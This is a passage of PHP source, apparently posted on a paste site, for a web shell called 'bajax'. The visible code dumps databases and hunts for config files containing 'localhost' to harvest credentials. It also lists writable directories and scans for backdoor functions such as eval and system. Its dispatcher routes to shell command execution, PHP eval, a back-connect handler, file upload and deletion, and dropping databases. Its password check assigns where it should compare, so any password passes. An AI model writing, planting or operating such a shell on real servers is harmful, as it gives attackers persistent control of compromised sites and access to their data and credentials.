  1497. if ($col->Extra!='') {
  1498. $c.= " ".strtoupper($col->Extra);
  1499. }
  1500. $c.= ", \n";
  1501. }
  1502. $ar=array();
  1503. foreach ($inds as $key) {
  1504. $ar[]=$key;
  1505. }
  1506. $sr=array();
  1507. $s=$this->toArray($ar);
  1508. foreach ($s as $key) {
  1509. if (strpos($key['Key_name'],"PRIMARY")!==false) {
  1510. $sr[]= "PRIMARY KEY "."(`$key[Column_name]`)";
  1511. }elseif (strpos($key['Key_name'], "FK")!==false) {
  1512. $sr[]="KEY "."`$key[Key_name]` (`$key[Column_name]`)";
  1513. }
  1514. }
  1515. $imp=implode(", \n", $sr);
  1516. if ($imp=='') {
  1517. $r.= substr($c, 0,-3)."\n";
  1518. } else {
  1519. $r.= $c.$imp."\n";
  1520. }
  1521. $r.= ")";
  1522. foreach ($status as $key => $value) {
  1523. if ($tab==$key) {
  1524. $r.= $value.";\n\n";
  1525. }
  1526. }
  1527. $r.= "\n";
  1528. }
  1529. $view=array();
  1530. $views=$this->qer("SHOW FULL TABLES where Table_type like 'VIEW'");
  1531. foreach ($views as $ve) {
  1532. $view[]=$ve;
  1533. }
  1534. if (count($view)>0) {
  1535. foreach ($view as $view_name) {
  1536. $view_create=$this->qer("SHOW CREATE VIEW $view_name[0]");
  1537. foreach ($view_create as $create_view) {
  1538. echo "DROP TABLE IF EXISTS `$view_name[0]`;\n".$create_view[1].";\n\n";
  1539. }
  1540. }
  1541. }
  1542. $index2=array();
  1543. foreach ($table as $tab2) {
  1544. if (count($tab2)>0) {
  1545. $find_const=$this->qer("SHOW CREATE TABLE $tab2");
  1546. foreach ($find_const as $got_const) {
  1547. $tmp=strstr($got_const[1], "CONSTRAINT")."\n";
  1548. preg_match_all("/(.*)\\n/", $tmp, $match);
  1549. if (count($tmp)>0) {
  1550. $index2[]="ALTER TABLE `$tab2` ADD ".$match[0][0].";";
  1551. }
  1552. }
  1553. }
  1554. }
  1555. if (count($index2)>0) {
  1556. foreach ($index2 as $constraint) {
  1557. if (strpos($constraint, "CONSTRAINT")!==FALSE) {
  1558. $r.= $constraint."\n";
  1559. }
  1560. }
  1561. }
  1562. $name="$db.sql";
  1563. ob_get_clean();
  1564. header("Content-type:application/octet-stream");
  1565. header("Content-length:".strlen($r));
  1566. header("Content-Disposition:attachment;filename=$name;");
  1567. echo $r;
  1568. exit();
  1569. }
  1570. }
  1571. function locate() {
  1572. $r="<div id='isi'>";
  1573. if (isset($_POST['cari'])) {
  1574. $r.="<table width='100%'' class='xpltab'><tr><th>These Files Probably config File</th></tr>";
  1575. $r.=$this->loc($_POST['addr']);
  1576. $r.="</table>";
  1577. }else {
  1578. $r="<center><form method='post' action='?act=loc&dir=".$this->dir()."'>Find config file<p /><input type='hidden' style='width:500px;' name='addr' id='box' value='".$this->dir()."'>".$this->current('loc')."<p /><input type='submit' name='cari' id='but' value='Search'></form></center>";
  1579. }
  1580. $r.="</div>";
  1581. return $r;
  1582. }
  1583. function loc($dir) {
  1584. $r='';
  1585. if($files = @scandir($dir)) {
  1586. foreach($files as $file) {
  1587. if($file != '.' && $file != '..') {
  1588. if(@is_dir($dir."\\".$file)) {
  1589. $r.=$this->loc($dir.$file.DIRECTORY_SEPARATOR);
  1590. } else {
  1591. $sp = @file_get_contents($dir.DIRECTORY_SEPARATOR.$file);
  1592. if($sp)
  1593.  
  1594. if((stripos($sp, "\"localhost\""))|| (stripos($sp,'localhost'))) {
  1595. $r.="<tr><td> <a href='?act=lihat&dir=".$this->dir()."&file=".$dir.$file."'>$dir$file</a></td></tr>";
  1596. }
  1597. }
  1598. }
  1599. }
  1600. }
  1601. return $r;
  1602. }
  1603. function locate_file($dir,$name) {
  1604. $res=array();
  1605. foreach (scandir($dir) as $file) {
  1606. if ($file !='.' && $file !='..') {
  1607. if (is_dir($dir.DIRECTORY_SEPARATOR.$file)) {
  1608. $res=array_merge($res,$this->locate_file($dir.DIRECTORY_SEPARATOR.$file,$name));
  1609. if (is_dir($dir.DIRECTORY_SEPARATOR.$file) && preg_match('/^'.$name.'/',$file )) {
  1610. $res[]=$dir.DIRECTORY_SEPARATOR.$file.DIRECTORY_SEPARATOR;
  1611. }
  1612. } else {
  1613.  
  1614. if (preg_match("/^$name/", $file)) {
  1615. $res[]=$dir.DIRECTORY_SEPARATOR.$file;
  1616. }
  1617.  
  1618. }
  1619. }
  1620. }
  1621. return $res;
  1622. }
  1623.  
  1624. function scdir($dir) {
  1625. $res=array();
  1626. foreach (scandir($dir) as $file) {
  1627. if ($file !='.' && $file !='..') {
  1628. if (is_dir($dir.DIRECTORY_SEPARATOR.$file)) {
  1629. $res=array_merge($res,$this->scdir($dir.DIRECTORY_SEPARATOR.$file));
  1630. if (is_dir($dir.DIRECTORY_SEPARATOR.$file) && is_writable($dir.DIRECTORY_SEPARATOR.$file)) {
  1631. $res[]=$dir.DIRECTORY_SEPARATOR.$file.DIRECTORY_SEPARATOR;
  1632. }
  1633. }
  1634. }
  1635. }
  1636. return $res;
  1637. }
  1638. function writable()
  1639. {
  1640. $r="<div id='isi'>";
  1641. if(isset($_POST['finddir'])&&isset($_POST['submit']))
  1642. {
  1643. $search=$this->scdir($_POST['finddir']);
  1644. if (count($search)>0) {
  1645. $r.="<table width='100%'' class='xpltab'><tr><th>Writable dir Found</th></tr>";
  1646. foreach ($search as $file) {
  1647. if (is_dir($file)) {
  1648. $r.="<tr><td><a href='?act=file&dir=".$file."'>$file</a></td></tr>";
  1649. } else {
  1650. $r.="<tr><td><a href='?act=lihat&dir=".$this->dir()."&file=$file'>$file</a></td></tr>";
  1651. }
  1652.  
  1653. }
  1654. } else {
  1655. $r.="<table width='100%'' class='xpltab'><tr><th>Sorry, No writable dir found</th></tr>";
  1656. }
  1657.  
  1658. $r.="</table>";
  1659.  
  1660. } else {
  1661. $r.="<center>Find All Writable Directory <br /><form method='post' action='?act=write&dir=".$this->dir()."'>".$this->current('write')."<br /><input type='hidden' name='finddir' id='box' value='".$this->dir()."'><input id='but' type='submit' style='margin-top:5px;color:#fff' name='submit' value='Search'></center><form>";
  1662. }
  1663. $r.="</div>";
  1664. return $r;
  1665. }
  1666. function search() {
  1667. $r="<div id='isi'>";
  1668. if (isset($_POST['cari']) && $_POST['filename']) {
  1669. $search=$this->locate_file($_POST['addr'],$_POST['filename']);
  1670. if (count($search)>0) {
  1671. $r.="<table width='100%'' class='xpltab'><tr><th>Files Found</th></tr>";
  1672. foreach ($search as $file) {
  1673. if (is_dir($file)) {
  1674. $r.="<tr><td><a href='?act=file&dir=".$file."'>$file</a></td></tr>";
  1675. } else {
  1676. $r.="<tr><td><a href='?act=lihat&dir=".$this->dir()."&file=$file'>$file</a></td></tr>";
  1677. }
  1678. }
  1679. } else {
  1680. $r.="<table width='100%'' class='xpltab'><tr><th>Sorry, No file found</th></tr>";
  1681. }
  1682. $r.="</table>";
  1683. } else {
  1684. $r="<center><form method='post' action='?act=search&dir=".$this->dir()."'>Search File<p />
  1685. <input type='hidden' style='width:500px;' name='addr' id='box' value='".$this->dir()."'>".$this->current('search')."<p />
  1686. <input type='text' name='filename' id='box'>
  1687. <input type='submit' name='cari' id='but' value='Search'></form></center>";
  1688. }
  1689. $r.="</div>";
  1690. return $r;
  1691. }
  1692. function bdf($dir) {
  1693. $r='';
  1694. $has=$_POST['bug'];
  1695. if($files = @scandir($dir)) {
  1696. foreach($files as $file) {
  1697. if($file != '.' && $file != '..'&& $file !='cgi-bin') {
  1698. if(@is_dir($dir.$slash.$file)) {
  1699. $r.=$this->bdf($dir.$file.DIRECTORY_SEPARATOR);
  1700.  
  1701. } else {
  1702. $op = @file_get_contents($dir.DIRECTORY_SEPARATOR.$file);
  1703. if($op)
  1704. foreach($has as $bug) {
  1705. if(@preg_match("/$bug\((.*?)\)/", $op)) {
  1706.  
  1707. $r.="<tr><td>Contain '$bug' at <a href='?act=lihat&dir=".$this->dir()."&file=".$dir.$file."'>$dir.$file</a></td><td>".date("d-M-Y H:i",filemtime($dir.$file))."</td></tr>";
  1708.  
  1709. }
  1710. }
  1711.  
  1712. }
  1713. }
  1714. }
  1715. }
  1716. return $r;
  1717. }
  1718. function doorscan() {
  1719. $this->find = array('base64_decode','system','passthru','popen','exec','shell_exec','eval','move_uploaded_file','copy','pcntl_exec','escapeshellarg','escapeshellcmd','proc_open','proc_get_status','proc_nice','proc_open','proc_terminate');
  1720. $r="<div id='isi'>";
  1721. if(isset($_POST['submit'])&&isset($_POST['bug']))
  1722. { $r.="<table width='100%'' class='xpltab'><tr><th>These Files Probably Backdoor</th><th>Last Modified</th></tr>";
  1723. $r.=$this->bdf($_POST['dir']);
  1724. $r.="</table>";
  1725. }
  1726. else {
  1727. $r.="<center><form method='post' action='?act=bds&dir=".$this->dir()."'>Scan In : <input type='hidden' name='dir' value='".$this->dir()."'>".$this->current('bds')."<br />Scan Type : </center>";
  1728. foreach ($this->find as $val) {
  1729. $r.="<input style='margin-left:43%;margin-top:7px;' type='checkbox' name='bug[]' value='".$val."'>".$val."<br />";
  1730. }
  1731. $r.="<center><input type='submit' name='submit' id='but' style='margin-top:10px;width:150px;color:#fff' value='Search Backdoor'></form>";
  1732. $r.="</center>";
  1733. }
  1734. $r.="</div>";
  1735. return $r;
  1736. }
  1737. function auth() {
  1738. $res='<style>body{background:#000;}input {background:#120f0b;border:none;color:#00A600;}</style><div style="font-size:12px;color:#00A600;position:fixed;top:10px;left:50%;margin-left:-150px;padding:10px 50px 50px 10px;background:#120f0b;border-top:20px solid #00A600;-moz-box-shadow:inset 0 0 10px #00c6ff;
  1739. -webkit-box-shadow: inset 0 0 10px #00c6ff;
  1740. box-shadow: 0 0 10px #00A600;
  1741. border-radius:5px"><form method="post" action="">
  1742. <input value="root@bajax:-$" disabled="disabled"><br>Password :
  1743. <input type="password" autofocus="autofocus" name="pass" >
  1744. <input type="submit" style="color:#120f0b;width:0" name="auth">
  1745. </form></div>';
  1746. return $res;
  1747. }
  1748. function cookies() {
  1749. if(isset($_POST['auth'])) {
  1750. $pass=strtolower(trim(md5($_POST['pass'])));
  1751. if($this->password=$pass) {
  1752. setcookie('bajax',$pass,time()+3600*24);
  1753. $url=$_SERVER['SCRIPT_NAME'];
  1754. header('location:'.$url);
  1755. die();
  1756. }
  1757. }
  1758. if(empty($_COOKIE['bajax']) and $_COOKIE['bajax'] !=$this->password) {
  1759. echo $this->auth();
  1760. die();
  1761. }
  1762.  
  1763. }
  1764.  
  1765. }
  1766. $bajax=new bajax();
  1767. $r='';
  1768. $r.=$bajax->header();
  1769. $r.=$bajax->menu();
  1770. $r.="</div='isi'>";
  1771. switch ($_GET['act']) {
  1772. case 'file':
  1773. if(isset($_GET['act2'])=='del')
  1774. $r.=$bajax->remfile();
  1775. if(isset($_GET['act3'])=='del')
  1776. $r.=$bajax->remdir();
  1777. $r.=$bajax->xpl();
  1778. $r.=$bajax->center();
  1779. break;
  1780. case 'edit':
  1781. $r.=$bajax->edit($_GET['file']);
  1782. break;
  1783. case 'ren':
  1784. $r.=$bajax->ren($_GET['file']);
  1785. break;
  1786. case 'cmd':
  1787. $r.=$bajax->command();
  1788. $r.=$bajax->center();
  1789. break;
  1790. case 'downfile':
  1791. $r.=$bajax->downloadfile($_GET['file']);
  1792. break;
  1793. case 'down':
  1794. $r.=$bajax->get_selected($_GET['file']);
  1795. break;
  1796. case 'downfolder':
  1797. $r.=$bajax->downloadfolder($_GET['file']);
  1798. break;
  1799. case 'mysql':
  1800. $r.=$bajax->login();
  1801. break;
  1802. case 'view':
  1803. $r.=$bajax->lihatdb();
  1804. break;
  1805. case 'showtable':
  1806. $r.=$bajax->showtable();
  1807. break;
  1808. case 'showcon':
  1809. $r.=$bajax->showcon();
  1810. break;
  1811. case 'downdb':
  1812. $r.=$bajax->downdb();
  1813. break;
  1814. case 'downstruc':
  1815. $r.=$bajax->downstruc();
  1816. break;
  1817. case 'editrow':
  1818. $r.=$bajax->editrow();
  1819. break;
  1820. case 'logout':
  1821. $_SESSION=array();
  1822. session_destroy();
  1823. header("location:?act=mysql");
  1824. break;
  1825. case 'dropdb':
  1826. $r.=$bajax->dropsql();
  1827. break;
  1828. case 'delrow':
  1829. $r.=$bajax->droprow();
  1830. break;
  1831. case 'insertrow':$r.=$bajax->insertrow();break;
  1832. case 'encode':$r.=$bajax->converter();break;
  1833. case 'ser':$r.=$bajax->infoser();break;
  1834. case "eval":$r.=$bajax->phpeval();$r.=$bajax->center();break;
  1835. case 'write':$r.=$bajax->writable();break;
  1836. case 'bds':$r.=$bajax->doorscan();break;
  1837. case 'bc':$r.=$bajax->door();break;
  1838. case 'loc':$r.=$bajax->locate();break;
  1839. case 'search':$r.=$bajax->search();break;
  1840. case 'lihat':$r.=$bajax->lihat($_GET['file']);break;
  1841. case 'out':setcookie('bajax','',time()-3600*24);header("location:".$_SERVER['SCRIPT_NAME']);break;
  1842. default:
  1843. $r.=$bajax->logo();
  1844. break;
  1845.  
  1846. }
  1847. switch ($_POST['action']) {
  1848. case 'editfile':
  1849. if($bajax->editfile($_POST['file']))
  1850. $r.=header("location:?act=edit&dir=".$bajax->dir()."&file=".$_GET['file']."");
  1851. break;
  1852. case 'renamed':
  1853. if($bajax->rename($_POST['file']))
  1854. $r.=header("location:?act=file&dir=".$bajax->dir()."");
  1855. break;
  1856. case "mkdir":
  1857. $r.=$bajax->mkdir();
  1858. $r.=header("location:?act=file&dir=".$bajax->dir()."");
  1859. break;
  1860. case "createfile":
  1861. $r.=$bajax->createfile();
  1862. $r.=header("location:?act=file&dir=".$bajax->dir()."");
  1863. break;
  1864. case "uploader":
  1865. $r.=$bajax->upload();
  1866. $r.=header("location:?act=file&dir=".$bajax->dir()."");
  1867. break;
  1868. case 'createdb':
  1869. $r.=$bajax->createdb($_POST['dbname']);
  1870. break;
  1871. case 'updaterow':
  1872. $r.=$bajax->updaterow();
  1873. break;
  1874. case 'insertrow':
  1875. $r.=$bajax->insertrow();
  1876. break;
  1877. }
  1878. $r.="</div>";
  1879. $r.=$bajax->footer();
  1880. $bajax->cookies();
  1881. echo $r;
  1882. ob_end_flush();
  1883. ?>
Add Comment
Please, Sign In to add comment